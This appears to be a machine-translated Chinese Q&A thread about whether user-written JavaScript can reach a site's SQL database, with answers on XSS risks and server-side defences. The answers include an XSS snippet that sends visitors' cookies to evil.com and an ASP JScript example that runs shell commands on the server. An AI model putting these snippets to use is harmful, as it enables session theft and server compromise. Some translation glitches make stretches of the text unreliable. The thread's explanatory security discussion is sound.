如果最终用户可以编写自己的 Javascript,他可以联系 SQL 数据库吗?

Can end user contact SQL DB if he can write his own Javascript?

我有一个网站,我允许用户在该网站上编辑网站的前端。 用户只能访问编辑器,而不能访问其托管的服务器。

用户要求我也允许 javascript。 这意味着用户可以在前端创建自己的脚本。

我担心的是用户可能会使用它来做恶意的事情。恐怕如果用户了解得足够多,他可能会搞砸网站。

我的问题: - 假设用户拥有 SQL 数据库的连接字符串,他能否设法在该服务器上执行查询?通常这应该是 NO,因为 javascript 是客户端吗?

我找到了以下代码段:

var connection = new ActiveXObject("ADODB.Connection") ;

var connectionstring="Data Source=<server>;Initial Catalog=<catalog>;User ID=<user>;Password=<password>;Provider=SQLOLEDB";

connection.Open(connectionstring);
var rs = new ActiveXObject("ADODB.Recordset");

rs.Open("SELECT * FROM table", connection);
rs.MoveFirst
while(!rs.eof)
{
   document.write(rs.fields(1));
   rs.movenext;
}

rs.close;
connection.close; 

假设我的连接字符串看起来像

Data Source=(local);Initial Catalog=TestDB;Application Name=TestDB;Integrated Security=True

我试过制作脚本 运行 ,但幸运的是它显示了一个空白页面。但这是因为我可能做错了什么吗?或者它确实是因为 javascript 是客户端并且不允许做那种事情?

其他问题: - 我允许他在前端使用 javascript 的其他风险示例有哪些?如果 javascript 确实是一种完全客户端语言,这意味着他不能做任何其他有风险的事情,对吗?

JavaScript 运行在客户端,它不会直接影响服务器的安全。但是,它可能会对您的站点访问者、用户和管理员构成威胁。 JavaScript 攻击被称为 XSS attacks 并且可能具有多种含义:

The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

您问题中的代码似乎使用 ActiveXObject 来创建数据库连接。如果攻击者拥有数据库凭据(连接字符串)并且 SQL 服务器端口已打开,那么是的,他们可以访问数据库,但此时他们可以使用任何 SQL 客户端。

但是,可以在 IIS 服务器上 运行 JScript(Microsoft 版本 JavaScript)。如果代码放置在具有 runat="server" 属性的脚本标记中,在 .asp 页面上,那么它将在服务器上执行,并且可以到达数据库。例如,这段代码:

<html>
<script language="javascript" runat="server">
    function exploit() {
        var shell = new ActiveXObject("WScript.shell");
        var cmd = shell.Exec("ipconfig");
        Response.Write("<pre>" + cmd.StdOut.ReadAll() + "</pre>");
    }
</script>
<% exploit() %>
</html>
如果在 .asp 或 .aspx 页上执行,

将显示服务器的 IP 配置。 但是,如果攻击者可以编辑 .asp / .aspx 页,那就太晚了。

假设他们无法编辑活动服务器页面,并且他们没有凭据或访问 SQL 服务器,他们应该无法直接使用 [=49 访问您的数据库=].然而,他们可以使用 XSS 攻击来提升他们的特权。


可能的攻击场景:

攻击者编写了一个脚本来收集用户 cookie,并将它们发送到他们的服务器。

var cookies = document.cookie;
var addr = 'http://evil.com/log.php?cookies=' + escape(cookies);
document.write('<img src="' + addr + '" />');

使用这个简单的代码,攻击者可以记录任何访问托管此恶意脚本的页面的用户的 cookie,并使用它们登录到他们的帐户或使用他们的权限执行其他操作。

如果管理员访问此页面,攻击者可以使用他们的 cookie 以管理员身份访问控制面板。 许多 CMS(包括 WordPress 和 Joomla)允许管理员在服务器上编写或修改 PHP 代码,因此攻击者可能会上传网页 shell。他们甚至可以通过从管理员的浏览器发出 XHR 请求来自动化整个过程。

如果他们设法上传网站 shell,他们就可以执行命令和代码、read/write 文件并访问 SQL 服务器。所以现在他们可以使用与您的用户帐户相同的凭据和 IP 访问数据库。当然,可能有一些机制(AV、限制等)可以防止这种情况发生,但坚定的攻击者可以找到绕过它们的方法。


总而言之,您永远不应该 运行 不受信任的代码。在您的网站上允许不受信任的 JavaScript 代码会产生非常糟糕的后果。即使攻击者无法访问您的数据库或破坏您的站点,他们仍然可以伤害您的访问者。你可以访问 beef 看看 XSS 攻击有多危险。

JavaScript 在浏览器中严格来说是一种客户端技术。无论您允许或不允许用户在 JavaScript 中做什么,唯一可能的不良结果是他们提交了您没有预料到的数据。

如果此数据导致您不想要的任何类型的操作,您需要修复您的代码以便能够处理它(通常拒绝它),因为世界上任何人都可以用或做同样的事情没有 JavaScript,有或没有您的许可。

任何类型的用户端脚本的最终结果都将是一个 HTTP 请求。您需要能够处理 任何进来的东西,无论您是否授予用户这样做的权限,因为全世界的黑客和机器人都会这么做。

这实际上是一个相当大的话题,其中包含一些非常重要的规则,可以解决大部分问题。例如,如果您对所有数据访问都使用存储过程,并且除了他们需要 运行 的存储过程的 EXECUTE 权限之外,不向 Web 用户授予 运行 任何权限,您刚刚消除了整个 类 非常常见的攻击。

你可以 Google "SQL Injection" 一个好的开始。

编辑

您发布的代码段将允许访问数据库,但仅限于可从用户计算机访问的数据库。

生产数据库连接很少能直接从 Internet 访问,因此如果用户在 Internet 上的其他地方并且 运行 您发布的代码,它们仍然无法影响您的数据库。

现在,如果您要让用户在 运行 在与数据库相同的计算机或网络上的桌面会话中的浏览器中执行此代码,它 可能 他们可能会做坏事,这取决于浏览器提供的隔离级别。